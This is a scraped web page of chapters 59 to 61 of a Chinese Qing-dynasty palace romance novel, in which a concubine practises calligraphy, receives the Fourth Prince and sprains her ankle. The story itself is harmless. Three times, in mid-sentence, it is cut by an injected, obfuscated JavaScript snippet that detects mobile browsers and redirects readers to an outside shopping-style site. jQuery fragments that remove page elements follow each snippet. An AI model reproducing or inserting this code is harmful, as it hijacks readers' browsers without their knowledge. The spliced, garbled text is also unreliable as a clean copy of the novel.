宋时繁怕不小心将奶茶洒出来再沾湿了纸张,便端着杯子往窗户边上走了走,紧接着又推开了半扇窗扉,外头的冷风便吹了进来,人也跟着清爽了不少,正好,宋时繁还能看看外头,放松一下眼睛。 “不休息,今天的目标还没达成呢,我歇会儿就行了。”宋时繁眼底含笑,深吸一口气后,不在意地开口道。 “格格您又不是要去考状元,何苦这样拼命呢,再累着自个儿...”竹苓失笑不已。 宋时繁捧着茶杯抿了一口热奶茶,发出一声舒服的喟叹后,随即露出一个明媚的笑脸来,眼睛亮晶晶地看向竹苓打趣道:“你家格格我呀,不光要去考女状元,还要去当女驸马呢。” 竹苓闻言有些无奈:“格格您又开始浑说了...” 话音未落,宋时繁余光里就瞧见四爷进了院子,既然已经看见了那也不能当作没看见,她便将手里的杯子递给了竹苓,然后快步朝门口走去,打算迎一迎四爷。 不承想,四爷个子高步子大,人也走得飞快,宋时繁还没走到门口呢,四爷已经大步跨进了屋子里,当然,也有可能是宋时繁的院子太小了,不够四爷走的。 宋时繁见状只得停下动作先福身跟四爷行礼。 “奴才给四爷请安,四爷吉祥。” “免礼免礼,老远就瞧见你们主仆二人在说悄悄话呢,聊什么呢,笑得这样开心?”四爷一伸手就将宋时繁捞了起来,然后两个人一起坐到了软榻上。 “既然四爷都说是悄悄话了,那自然是不能告诉四爷您的。”宋时繁微微勾起唇角,浅笑着答道。 宋时繁可不敢告诉四爷她方才说了想当女驸马的话,就四爷这种年纪轻轻却思想顽固的小古板,若是知道她胡说八道,还不定要怎么训她呢。 不过,换个思路来看,四爷是个皇子,那她是不是已经算当上女驸马啦? 嗯...还是打住吧,不能再继续往下想了,感觉画风变得好奇怪了呢。 四爷倒是没有深究,他本就是随意问问,宋时繁既然不想说那他也不强求。 二人说话的功夫,竹苓已经给四爷沏好茶呈了上来,是四爷惯常喜欢喝的普洱。 于是,四爷接过竹苓递上来的茶喝了一口,才又慢悠悠开口道:“在屋子里做什么呢?” “回四爷的话,在练字。” 四爷听见这话眉头便挑了起来,之前他一时兴起倒是带着小格格练过字,没想到这小格格还挺勤奋的,居然自己也没忘了这回事。 因此,四爷来了兴致,非要看看宋时繁的字写得怎样了。 宋时繁原本还觉得自己写得挺好的,起码一笔一划的都能看出是什么字了,可当四爷细细端详她写的字时,一股羞耻感还是油然而生。 “四爷,写得不好...别看了吧...奴才就是...写着玩的...”越说,宋时繁的脑袋就垂得越低。 “你这态度可不行,既然写了就认真写嘛,再说了,写得不错,爷瞧着已经有点样子了。” 关于念书的一概事宜,四爷向来都是很认真的,这可能也是因为康熙爷对待他们这些皇子的功课要求颇为严厉,甚至还给他们这些皇子念书的地方赐名无逸斋,意思就是学习不能有松懈玩耍的时候。 所以,在这样的耳濡目染之下,四爷肯定觉得既然学了,那就得认真学,不存在什么学着玩的,而且,难得自家小格格肯学,四爷还是很高兴的。 “不过,”四爷话锋一转,微微皱起了眉头,“怎么把字写得乱糟糟的,东一个西一个,还把正反两面都写满了,你看得清自己写得什么吗?” 宋时繁眨了眨眼无辜道:“这样不是可以省点纸,反正是练习嘛,奴才又不是什么大家,要写得那么漂亮做什么?” 四爷有些无奈了,难道他堂堂贝勒爷的府上,连这点子纸都要节省了不成? 于是,四爷大手一挥将苏培盛唤了进来:“取一套好的文房四宝来,其他倒没什么,只是笔要五紫五羊的兼毫笔,然后再看看宋氏这里缺什么,便去库房取了来,都给她配齐全了。” 四爷知道宋时繁这里的书桌还是当初他命人搬过来的,上头摆着的东西也大多是适合他自己日常用的。 可宋时繁现下是初学者,还是应该配一套适合她的笔墨纸砚来,尤其是笔,若是不合适,练起字来肯定事倍功半。 好比四爷平时写行书写得多,所以他日常用着的都是羊毫笔,可羊毫笔对于眼下刚开始练字的宋时繁来说就太软了。 思及此,四爷开口解释道:“爷平日里用的笔你用着不合适,笔尖太软你不好着力,眼下你就用兼毫笔吧,那个韧性好,拿来练习楷书正合适。” “多谢四爷,还是四爷想得周到,奴才却是不懂这个的。” “嗯,你是不懂,连书面整洁这种最基本的都不知道,看来还有得学呢。”四爷点点头,一副深以为然的样子。 宋时繁哪里会不知道四爷是在调侃自己,当下就有些不乐意了,撇了撇嘴轻声嘟囔了一句:“哼,我这分明是勤俭节约的美好品德...” “苏培盛,再给你宋格格多取几刀纸来,省得她再舍不得用,爷的府上可不能这样小气,还得叫格格们省着点儿用纸。”四爷嘴角的笑意都快抑制不住了,显然是听见了宋时繁方才的话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594202|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋时繁顿时闭嘴了,问就是一个字也不想说了。 四爷见已经把人给逗得差不多了,又瞧着宋时繁的一张小脸都憋红了,便也见好就收,不再打趣她了。 两人又坐着说了一会子的话,四爷忽然说要走了。 而宋时繁对此却有些意外。 按照之前四爷到她这里的规律来看,四爷一般这个时候来了都是跟她一起用个晚膳,然后便留下了,从来没有坐一会儿就要走的事。 因为太出乎意料了,所以宋时繁下意识便问了一句:“四爷这是要走了吗?不留下来一起用膳了?” 四爷还只当宋时繁是舍不得他走,想了想还是解释跟宋时繁道:“爷今日要去正院陪福晋用膳。” 宋时繁更觉得奇怪了,若是要去正院用晚膳,一早去了多好,干嘛还跑到她这里来溜达一圈,坐嘛也坐不了一会就又要走,四爷还真是不嫌累呢,宋时繁在心里默默腹诽道。 殊不知,宋时繁这厢想得入了神,一时间忘了回话,而四爷见宋时繁听说他要去正院以后就不开口了,还只当宋时繁是吃醋,所以不高兴了,便点了点她的鼻子,语气更是罕见地软和了下来:“乖,你听话别闹了,爷不能不去,明个儿爷再抽空来瞧你。” 宋时繁一头雾水,她闹了吗?她自己怎么不知道? 四爷见宋时繁还是不说话,只懵懵懂懂地瞧着她,终是叹了口气道:“哎,真是磨人,罢了,爷虽然不能陪你,但等会你想吃什么爷让苏培盛去膳房帮你点,不年不节的,爷不好给你赏菜,对你不好,只让膳房悄悄做了给你送来就是,这下可不能再闹了啊,爷真得走了。” 宋时繁彻底无语了,不知道这位大爷自己又脑补了什么狗血剧情,连磨人都说出来了,得,她若是再不开口,四爷脑子里的剧情怕是还会往后发展。 于是,宋时繁忙蹲身行礼,话像烫嘴似的一咕噜吐了出来:“多谢四爷,奴才恭送四爷。” 四爷见状,这才满意地迈着步子离开了。 宋时繁瞧着四爷远去的背影仍是一脑袋浆糊,不知道四爷又抽什么风,今天忽然来晃悠她一下。 送走四爷后,白薇见宋时繁一直站在门口瞧着四爷的身影却是误会了,忙扶着宋时繁进了屋,然后劝道:“格格您不要站在风口,小心叫风给扑着了,主子爷想是有正事要忙这才走的呢,格格您别伤心...” 宋时繁闻言“噗嗤”一声就笑了出来:“没有没有,四爷他是去正院里陪福晋用膳去了,他们夫妻两个冷战这么久,也是时候该和好了,我不伤心,我就是有点儿奇怪四爷突然来我这儿干嘛。” “瞧格格您这话说得,主子爷来您这儿自然是思念您了,所以才来看望格格的呀。”白薇有些好笑地看着宋时繁。 宋时繁却愣住了,还真别说,四爷今日来的这趟真就像是特意过来为了看她一眼一样,会是这样吗? 怎么可能呢!宋时繁摇了摇头,把脑子里那些不切实际的想法都甩了出去。 不过,四爷这人确实是越来越奇怪了,反正宋时繁是愈发看不懂他了... 59. 中秋快乐 当夜,四爷果然留宿在正院里头了,这便是给后院众人的一个信号,那就是四爷已经同福晋和好如初了。 只是,到底有没有如初众人却是没有办法深究的,不过最起码在大面上,这夫妻俩确实相处得还算是融洽,据说,夜里还叫了一次水呢。 当然,这都是第二天一大早的时候,曹三宝告诉宋时繁知道的。 “格格您不知道呢,福晋重新得宠以后,正院里头的小太监们、小丫鬟们又重新扬起了眉毛眼睛,前几日他们瞧见奴才还有个笑脸呢,今日再见了奴才那可就当没看见了...”曹三宝绘声绘色地描述着,倒将那些人倨傲的表情学了个十成十。 彼时,宋时繁正在用早膳,刚喝进去一口粥,见了曹三宝那怪里怪气的模样,差点把喝到嘴里的粥给喷了出来,当即便呛着了,咳个不停,脸都憋红了。 白薇见状忙上前给宋时繁拍背顺气儿:“格格您慢着点儿,没事儿吧...”见宋时繁貌似好些了,这才又瞪了曹三宝一眼,“三宝子你真是!什么奴才们的样子也学回来给格格看?一大清早的,我看你是皮子紧了!” “咳咳...咳...”宋时繁摆摆手示意自己没事,又失笑道:“怎么总跟个猴崽子似的...”说罢,又像是想起什么似的,收敛起笑意问曹三宝道:“不是嘱咐过你不许到外头随意打听旁人的事吗?你莫不是又忘了?” 曹三宝忙为自己开脱:“回格格的话,奴才不敢,格格已经嘱咐过的事,奴才哪能再犯呀!这次也不是奴才特意出去打听来的,却不知怎的,后院里的人都晓得主子爷昨个晚上是在正院里头留宿的。” 宋时繁思索片刻后反而有些明白了,恐怕是之前四爷晾着福晋的时候,让福晋怕了,所以四爷刚露出点意思,福晋那边就急着想要后院众人都知道她已经跟四爷和好了。 于是宋时繁又开口道:“那也是...这便罢了,不过倒是我冤枉了你,这碟子蜜饯苹果算是我的赔礼了。” 曹三宝忙谢恩:“格格折煞奴才了,奴才担不起。”却不敢伸手去拿。 “格格赏你接着就是了。”白薇将那碟蜜饯苹果端给曹三宝,曹三宝这才露出一个腼腆的笑来,将盘子接了过去然后就退下了。 宋时繁又吃了两个奶饽饽和一个金丝烧麦便也觉得足了,白薇适时呈上晾好的蜂蜜水,宋时繁喝了几口后,站起身就朝着梳妆台走。 马上要到去正院请安的时辰了,她一起床就先用的早膳,这会子还没开始收拾呢,得赶紧了。 竹苓带着人将桌上的东西都撤了下去,白薇则先帮着宋时繁梳发髻。 “格格的头发真好呀,又顺又亮,还滑溜溜的,不多抹点儿头油都梳不起来呢。”白薇摸着宋时繁绸缎般地头发由衷感概道。 不想宋时繁听了这话却问了一嘴:“莫不是别人都不用头油吗?” 她还以为每次白薇在她头上一直抹呀抹的,几乎要把她整颗头都浸到头油里,是清朝人梳发髻必须要进行的一道工序呢,难不成别人都不用这个吗? 白薇闻言解释道:“旁人也是要用的,只不像格格用的这样多,格格头发多,摸起来跟丝绸似的...”白薇嘴巴里说着话,却也不耽误手上的动作,麻利地用一根簪子将宋时繁的头发固定住,一个两把头就梳好了。 宋时繁对着镜子四下瞧了瞧,又上手摸了一把,嗯,湿答答的,当即便鼓了鼓嘴。 白薇见状还以为宋时繁不满意:“格格可是觉得哪里梳得不好了?” “没有没有,我就是不太喜欢这个头油,摸起来滑腻腻的...” 不过,宋时繁只是抱怨了一句,并没有别的意思,她也知道自己头发确实多,不光多而且还厚,不用头油也不现实,看来以后她还是要勤快点儿洗头,也不知道天天用这么多油抹头发上会不会堵塞毛孔呢... 白薇不知道宋时繁心里的想法,却是误会了,只当宋时繁是嫌弃现在用的头油不好。 “格格您不喜欢这个头油吗?也是,这是格格份例里赏下来的东西,后院里的格格们都用这个,确实普通了些,要是格格喜欢旁的,也可以托人出去买,咱们多使些银子就是了。”白薇想了想道。 现如今主子爷常来看望大格格,也偶尔会在她们格格屋子留宿,后院里的人又见风使舵,瞧着四爷会来,便也不敢十分为难她们格格,所以她们小院的日子还算过得去,再说了,头油也算不上是什么好东西,格格如果真想要,多花点银子倒也使得。 宋时繁却只抓住白薇说了“出去”两个字,当下眼睛都亮起来了,忙问道:“咱们能出去买吗?” 白薇闻言一愣,摇了摇头:“咱们出不去,奴才是说可以找了那些外出采买的小太监们帮格格把想要的东西带回来。” “噢,是这样啊...那还是算了吧,我用什么都行的。”宋时繁也是傻了,竟不死心想着有机会出去呢,也是,想想也知道是不可能发生的事情。 思及此处,宋时繁泄了气,只在首饰盒里挑挑拣拣,却半天也没选出个满意的首饰来。 其实,是宋时繁心里面憋闷,所以看什么都不顺眼罢了。 白薇见宋时繁忽然沉默着不再开口了,又结合宋时繁刚刚说的话,这才明白宋时繁怕是觉得闷了,白薇想了想又道:“若格格也不喜欢外头买的,那咱们还可以自己做了来用,格格喜欢什么样的?” “自己做?”宋时繁来了兴致,“怎么做?” “格格别急,就算要做也不是现在,等春天,咱们把鲜花调成汁,再兑进头油里,到时格格想要什么样味道的都有。”白薇笑着开口安抚宋时繁。 “那敢情好,咱们多做些,你,还有竹苓,我们可以一块儿用!”宋时繁也知道多想无益,便顺着白薇的话往下说,说着说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604326|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒还真有些期待了,毕竟后院里的生活无趣,能找到一点乐子也是难得了。 白薇瞧着宋时繁又恢复了往日里的鲜活,略微放了心,见时辰不早了,便从妆奁里取了一枚珠花给宋时繁戴上,又搭配了两根素银簪子,这就差不多了。 宋时繁今日穿的是一身雪青色旗装,这颜色在冬日里衬得人皮肤格外白嫩,外头系得则仍旧是那件绣梅花枝子的披风。 没办法,她如今的日子虽说是比当初刚来这里的时候好些了,但也就是在脱贫的水平线上挣扎,离小康还远着呢,所以披风嘛,她也确实没几件,宋时繁只得安慰自己这件是百搭款,经典不过时。 好容易出了门,经过花园的时候还碰上了汪秋红,因着二人都是要去正院里头请安的,宋时繁也不好说什么,总不能大喇喇赶人走吧?她自问还做不到这么跋扈,于是她让汪秋红免礼,还开口道:“一起吧。” 汪秋红见状便也安安静静地跟在了宋时繁身后,二人慢慢朝着正院走去。 福晋今天起得倒是比往常早,没叫她们在门口等,几乎是宋时繁刚到正院门口就被请进去了,宋时繁好悬以为自己来迟了呢。 与以往不同的是,今日请安的时候四爷也是在的,怪道福晋让她们这么早进来,原是为了显示跟四爷的夫妻情深啊。 对此,宋时繁表示无所谓,武格格跟郭格格也没什么反应,都规规矩矩坐着,两位侍妾倒是面上都笑吟吟地,也是,她们难得有机会见着四爷,今儿福晋给了机会,可不是要高兴的。 看来,福晋想刺激她们的计划大约是失败了。 宋时繁不由想到,若是李格格在的话,约莫会生气,说不定还要闹一闹,这么一想倒还真有些想念李格格了,唉,请安的时候没了李格格怼天怼地怼空气的声音,确实是有些无聊呢,宋时繁默默想着。 就在宋时繁日常神游天外的时候,四爷已经站起身要走了。 “爷外头还有事,就先走了,你们几个好好伺候福晋吧。”说完,四爷又朝着福晋点了点头,便迈着步子转身离开了。 还是众人起身行礼的声音惊醒了宋时繁,她忙跟着福身。 “奴才们恭送四爷。”好险,差点就错规矩了,这下宋时繁也不敢再走神,老老实实听福晋训话。 索□□晋今日心情不错,瞧她们也顺眼多了,没说几句就叫了散,临走倒是还说了一句:“哦对了,我家里的哥哥昨个儿送了好些山茶花来,虽说不是什么名贵的品种,但胜在冬日里能开花,倒是让人觉得稀奇,我独自赏了也没什么趣儿,回头叫小太监给你们搬一盆回去,你们也看个新鲜。” “奴才们多谢福晋的赏赐。”众人又齐齐谢恩。 宋时繁听了这话旁的想法没有,唯独想着能不能把山茶花做成头油?也不知味道如何呢...不过,福晋赏赐下来的花,应该不能随随便便摘了榨汁吧? 60. 一场惊吓 之后一连几天,四爷都留宿在正院里,也算是给足了福晋面子,府里倒是相安无事了一段时间。 日子清闲下来了,宋时繁却闲不住,带着来福在院子里鼓捣起花圃来。 没错,就是带着来福。 宋时繁先用小铲子将墙根下的土挖松了,再指挥来福上爪子刨土,来福也听话,宋时繁指哪儿它就挖哪儿,撅着屁股刨得飞快,一用力,小屁股还一扭一扭的,可爱极了。 四爷进来的时候,一人一狗都撅着小屁股忙得热火朝天的,四爷定睛看了好一会儿才肯信眼前这个脏兮兮蹲在地上跟小狗玩儿在一起的确实是自家的小格格。 宋时繁尤不知道四爷已经走到她身后了,因为四爷一进来的时候就摆手示意一旁的奴才们不必行礼,奴才们倒是想提醒一下自家格格,偏宋时繁背对着院门,什么都没瞧见,还兀自笑得开心呢。 “你这是做什么呢?”四爷有心要逗一逗宋时繁,忽然出声道。 宋时繁确实被吓到了,本来也是,她正忙得起劲儿呢,有人突然在背后说话,搁谁都得被吓一跳。 “啊!唉哟...”只见宋时繁一屁股就坐在了地上,狠狠摔了个大屁股蹲儿。 四爷没想到宋时繁这么不经吓,竟直接歪到地上去了,当下也顾不上什么了,伸手便将宋时繁像提小鸡崽儿似的,整个儿捞了起来。 可方才摔得那一下叫宋时繁崴了脚,宋时繁疼得不行,只一个劲儿地抽气:“嘶...” 四爷见状忙把宋时繁打横抱起来,还一边吩咐苏培盛:“快去传太医。”说罢,抱着宋时繁匆匆就朝着里屋走去。 被四爷圈在怀里的宋时繁疼得眼泪水都下来了,这会子也反应过来方才是四爷吓的她,于是,宋时繁撇了撇嘴角,一双眼睛幽怨地看着四爷的下颌。 嗯,以宋时繁现在窝在人怀里的角度也只能看见四爷的下颌角。 四爷自然感觉到了宋时繁的怨念,心里也觉出不好意思来,难得他起了一次玩心,就叫小格格受了伤,这可真是...没法说... 宋时繁被四爷安置在床榻上以后,白薇就忙上前伺候宋时繁脱鞋。 可白薇方一碰上宋时繁的脚,宋时繁就感到一阵钻心的疼。 “嘶...哎!疼疼疼...轻点儿轻点儿...”宋时繁心道自个儿的脚踝约莫是已经肿起来了,刚才她几乎整个人都坐到了自己的脚踝上,怕是崴得不轻。 四爷听着宋时繁不住地叫痛,眉头便皱了起来,差点能夹死一只苍蝇:“个蠢奴才,会不会伺候主子!” 宋时繁闻言立刻看了四爷一眼,眼神里的哀怨清清楚楚,传递出来的意思也很明白:四爷把人弄受伤了,现在居然还好意思骂她的人? 显然,四爷也接收到宋时繁的这层意思了,就听他尴尬地轻咳了一声,又下意识摸了摸鼻子,到底是没再发火了,只道:“你们快想想办法。” “主子爷,直接用剪子把格格的鞋剪开吧,格格的脚肿起来了,怕是脱不掉了。”竹苓拿着剪刀询问道。 “还问那么多做什么,快剪!”四爷催促着竹苓快些动手。 竹苓将剪子递给白薇,白薇小心再小心,生怕碰到宋时繁的脚,引宋时繁发痛,好容易才将宋时繁的脚从鞋子里救出来,又帮她脱了袜子,一瞧,果然是肿起来了,脚踝处鼓出来一个大包,青紫一片,看着好不吓人,白薇当即便倒吸了一口凉气。 四爷在一旁瞧着心下也是一惊,沉着脸没说话。 好在,苏培盛脚程快,这会子已经领着太医过来了。 也是巧了,来的就是先前给宋时繁瞧过病的于太医,于太医上前两步就要给四爷行礼,四爷摆手道:“不必多礼,于太医快去给宋氏瞧一瞧吧。” 于太医先是看了看宋时繁的伤脚,又指挥着白薇替他上手按了按宋时繁的伤处,再询问了宋时繁一番后,便让宋时繁伸出手来给她切脉。 “劳驾格格将手放在脉枕上。” 只见于太医沉吟片刻后这才站起身来回禀四爷:“回四贝勒爷,微臣看了,没有伤到骨头,情况不算太严重。” “你看仔细没有?爷瞧着青青紫紫的,怪吓人的。”四爷仍是沉着一张脸,脸上阴沉得都快能滴出水来。 于太医笑了笑:“回四贝勒爷的话,这是内里的瘀血,瞧着是吓人了些,待微臣开几贴活血化瘀的药来,瘀血散了便就好了,只是这一次到底是伤筋动骨的,还需好好将养一段时日,近段日子就不要走动了。” 四爷这才点了点头:“既然太医来了,就再给她诊诊脉,之前生产的时候伤了身子,瞧瞧现在恢复的如何了。” 四爷这一说,于太医心里就明白了,这是要看看还能不能生育吧?想着便又切上了宋时繁的脉搏。 其实四爷倒不是在乎生育不生育的,只是之前就记挂着要叫太医来给宋时繁瞧瞧身子,今日算是赶巧了。 许久后,于太医才开口问宋时繁道:“格格月事如何?” 宋时繁想了想好像自来了这里以后还没来过月事,太医不说她自己都快要忘记了。 宋时繁摇了摇头:“生完大格格以后还没有过。” “府上大格格多大了?” “快五个月了,约莫是我自己也在喂养大格格的缘故,所以便一直没有...”宋时繁对此还算有些了解,知道哺乳可能会推迟行经。 于太医点点头道:“这便是了,格格生产时亏损太过,一直也没有调理过来,现下才行经不畅,又加上本身就气血两虚,若想...怕是艰难,还是要好好调理一番...” 于太医这话说得不算太明白,可在场的四爷和宋时繁都不是傻的,自然知道于太医的未尽之言是什么意思,那就是宋时繁怕是难以有孕了。 四爷倒是一早就预备好不叫宋时繁再生孩子的想法,这会子听见于太医的话,也没有什么太大的反应。 宋时繁则是有些高兴,之前她就想着在古代生孩子,九死一生的,能不怀孕还是尽量别怀孕为好,如今太医都直接说了她可能怀不上,岂不是好事一件? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617230|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过,难怀也不代表彻底怀不上,为了力求稳妥,宋时繁打算借此机会正好问太医要点避孕药来吃吃。 思及此,宋时繁抬头看向于太医:“太医的意思,是不是说我现在最好不要怀孩子?” 于太医闻言还只当宋时繁是关心子嗣,毕竟嫁到了皇室里,子嗣自然是第一要紧事,他看诊多年,也不乏见到这样的人,心下暗暗叹了口气后才斟酌着道:“反正...最起码两三年内还是不要怀得好,否则格格的身子也受不住...” 于太医想了想又觉得这话对宋时繁有些残忍,只听他又开口劝道:“格格也不要心急,好好调养着,未必没有再怀上的可能...” 宋时繁却摆摆手道:“既然最好不要怀孕,那有没有什么可以避孕的药物啊...”说着,她又怕四爷起疑心,毕竟这时候的女人不想怀孕生孩子那就是不守本分,所以宋时繁觑着四爷的脸色又补了一句:“我想先好好把身子养好。” 这番话听到四爷耳朵里又是另外一个意思,他其实已经默认宋时繁是个不适宜生孩子的,但宋时繁说完以后,在四爷看来,她好像仍对此事抱有期望,不然干嘛这么急着调养身子? 现下宋时繁又可怜巴巴地悄悄瞧着他的脸色,四爷看着还真有些不忍心了。 也是,后院里的女人没孩子便没了指望,如今宋时繁只有大格格在膝下,怕也是担心自己日后没了依靠,这么一想,四爷又心疼起宋时繁来,罢了,往后多看顾些她几分也就是了,若有侍妾生了孩子的,抱一个来给宋时繁也不是不行,四爷俨然已经思索起这件事的可能性了。 诚然,四爷把宋时繁脑补成了一朵在风中飘零的小白花了,可要是宋时繁知道四爷正在琢磨着去哪儿抱个孩子来给她养,怕是会惊得直接从床上跳起来。 好在,现下府里没有孩子给四爷抱。 一旁的于太医见四爷没发话,倒不敢随意应下宋时繁的要求,四爷见状思索片刻后才道:“有没有不伤及身体的避孕药物?” “有倒是有,微臣可配点温和的药材,制成香囊,格格挂在屋子里或者佩戴在身上,长久用着倒是可以起到避孕的效果,也不会有损身体,危及自身。” 宋时繁心道这办法好,又不用喝药还能达成目的,简直没有比这更好的事情了,“那就劳烦太医了。” 四爷却又开了口:“至于方才太医说的调养身子,该如何调养?” 于太医笑了笑:“这就有些繁琐了,微臣先给格格开一剂补气血的药方,格格暂时喝着,再辅以针灸和按摩之法,配合着食疗方子慢慢进补,这样调养下去,身子定能大好,待微臣一一写下来...” 宋时繁一听就撅了撅嘴,得,到头来还是要喝苦药汁子,不过,身体是革命的本钱,她还是听太医的吧。 四爷便让于太医下去把方法细细写出来,又命于太医三日后再来复诊,这才将于太医送了出去。 待人都退下去后,四爷瞧了瞧歪在榻上也没个正形的宋时繁,无奈地笑了笑:“这下老实了吧。” 61. 怎么赔罪 论起倒打一耙来,宋时繁对四爷还是十分佩服的。 也不知道是谁把活蹦乱跳的她硬生生变成了现在这副动弹不得的样子,居然还好意思在这里指!责!她! 思及此,宋时繁索性不理会四爷了,艰难地翻了个身,用背影表达自己的不满。 四爷见宋时繁这样心下不由觉得好笑,戳了戳宋时繁的后背,“真生气了?爷给你赔不是还不成吗?” 宋时繁闻言微微偏了偏头,试探问道:“四爷要怎么赔不是?” 四爷沉吟了一会儿后笑着开口:“就罚爷给你写一本字帖如何?”四爷想起宋时繁近些时候都在练字,若是写本字帖给她,约莫能哄着她高兴吧。 宋时繁听见这话却悄悄翻了个白眼,合着还是在给她布置作业呢,这位爷究竟有没有搞清楚是谁要赔罪啊! 四爷好半天没听到宋时繁应声,还以为只写一本字帖宋时繁不满意。 “一本不够,两本如何?” 宋时繁:“......” 真想把她手里的枕头砸到四爷的脑袋上呀... 幸好这个时候,白薇端着药进来了,阻止了四爷继续危险发言,也保住了四爷的脑袋以及宋时繁的小命。 “主子爷,格格,药已经好了。” “快,趁热把药喝了。”四爷吩咐道。 白薇忙上前将宋时繁扶了起来,又将枕头垫到宋时繁的身下,好叫宋时繁坐得舒服些,待宋时繁坐好后,便端起碗打算伺候宋时繁喝药。 “不用不用,我自己来就行。”宋时繁可受不了一小口一小口地喝药,她非吐出来不可。 宋时繁接过白薇手中的药碗先是吹了吹,又浅尝了一口感觉不是很烫,紧接着做了一个深呼吸,然后憋住一口气,仰头、抬手腕一气呵成,直接将碗里的药汁子全都灌进嘴巴里了。 白薇对此已经司空见惯了,自家格格喝药一向是如此豪迈的。 四爷却是第一次瞧见这情形,虽然心里头有些诧异,可仔细一想又觉得事情发生在宋时繁身上好像也没那么怪异了,似乎她总是这么的...与众不同。 许是于太医在药里添加了安神的成分,宋时繁喝完药以后人便有些蔫儿了,见四爷依旧稳稳当当地坐在那边一副不打算走的样子,于是宋时繁开口道:“四爷有事儿就去忙吧...奴才这样...也伺候不了四爷了呢...” 四爷闻言点了点头,又伸手帮宋时繁掖了掖被子角,安抚她道:“嗯,爷自会去的,你别管了,好好歇着吧。” 这会子宋时繁已经有些睁不开眼睛了,只小声在嘴巴里嘟囔着:“恭送...送...” 四爷见状失笑不已,又坐了一会儿,瞧着宋时繁彻底睡熟了这才悄声退了出去。 “好好伺候你们格格,有事儿就去前院找苏培盛禀告。”四爷肃着一张脸在院子里吩咐一干奴才们。 “还有,这几日看好你们格格,不许她随意走动了。”这话四爷是对着白薇和竹苓说的,也难为他还认识宋时繁的贴身丫鬟们。 可不等白薇以及竹苓应声,四爷又摇了摇头道:“罢了,她那个性子怕是闲不住,这样吧,叫苏培盛带着你们去库房取些地毯来铺到她屋子里头,防着她要下床。” 之后,四爷更是亲自盯着太监们往屋子里铺地毯。 待铺完后,四爷却觉得一层地毯不顶用,便又吩咐苏培盛拿了好些皮毛料子过来,让小太监们放到了宋时繁经常待着的地方,确保宋时繁就算光着脚下床也不会被冻着。 至此,四爷的心里头才算略微满意了些,又去瞧了瞧大格格。 如今,大格格已经五个月了,许是因着早产的缘故,比旁的孩子看起来瘦弱了些,抱在怀里跟只猫似的,不过宋时繁养得精心,大格格除了瘦,看着还算健康。 四爷抱着自家女儿,已经依稀能在大格格身上看到一些宋时繁的影子了,尤其是那双眼睛,简直跟宋时繁一个模子里刻出来的一样,瞧着人的时候,水汪汪的,几乎可以把人的心都给看化了。 四爷正在心里头感概大格格怎么这么招人疼的时候,忽然,他托着大格格的那只手感受到了一阵潮湿,还热乎乎的,四爷的脑子当下便宕机了。 不会是...尿了吧? 待奶娘着急忙慌从他手里把大格格抱走的时候,四爷这才确信,自家女儿是真尿了,而且还好巧不巧,尿在他手上了... 奶娘赵妈妈都快吓死了,心说这小祖宗,什么时候尿裤子不成,居然尿在主子爷身上了,赵妈妈生怕主子爷发怒,忙用帕子给四爷擦了擦手,然后战战兢兢道:“主子爷赎罪,大格格还不懂事...” “不妨事,先去给大格格换尿布吧。”四爷摆了摆手示意奶娘没关系。 其实四爷还真没生气,总不能跟自家女儿计较吧?更何况女儿才几个月大,就是心里头觉着有些新奇,毕竟若是不提先头去了的那个孩子,大格格算是他第一个孩子,在此之前,属实是没人朝他撒过尿。 四爷不免觉得好笑,伸手戳了戳大格格仍是一派懵懂的脸蛋:“嗯?你是不是知道阿玛今个儿吓着你额娘了,莫不是在替你额娘报仇呢?” 大格格当然不会明白四爷在说什么,四爷也不在意,见奶娘们将大格格安置好了,便离开了西厢房。 “哟,主子爷衣裳怎么湿了!”苏培盛方才一直守在门口,还不知道内里发生了什么事。 四爷懒得解释,只道:“拿件干净衣裳换了便是。” 苏培盛“哎”了一声,便去找白薇,主子爷搁在宋格格这里的衣裳都是由宋格格身边人保管的。 白薇见状本打算领着四爷进内室换衣裳,四爷却开口道:“不必,就侧间换吧,别惊着你家格格。” 等四爷离开以后,宋时繁才徐徐从睡梦中醒来,彼时外头的天色已近黄昏了,屋子里也暗沉沉的。 宋时繁抻了一个懒腰,又动了动自己的脚,感觉没那么疼了,便撑着身子坐了起来。 白薇一直在门外守着,听见里头的动静轻声询问道:“格格您醒了?” 宋时繁还有些迷糊,不太想说话,只低低“嗯”了一声。 于是,白薇便将屋子里的灯逐个点燃,屋子霎时便亮堂起来了,宋时繁捂了捂眼睛,缓了 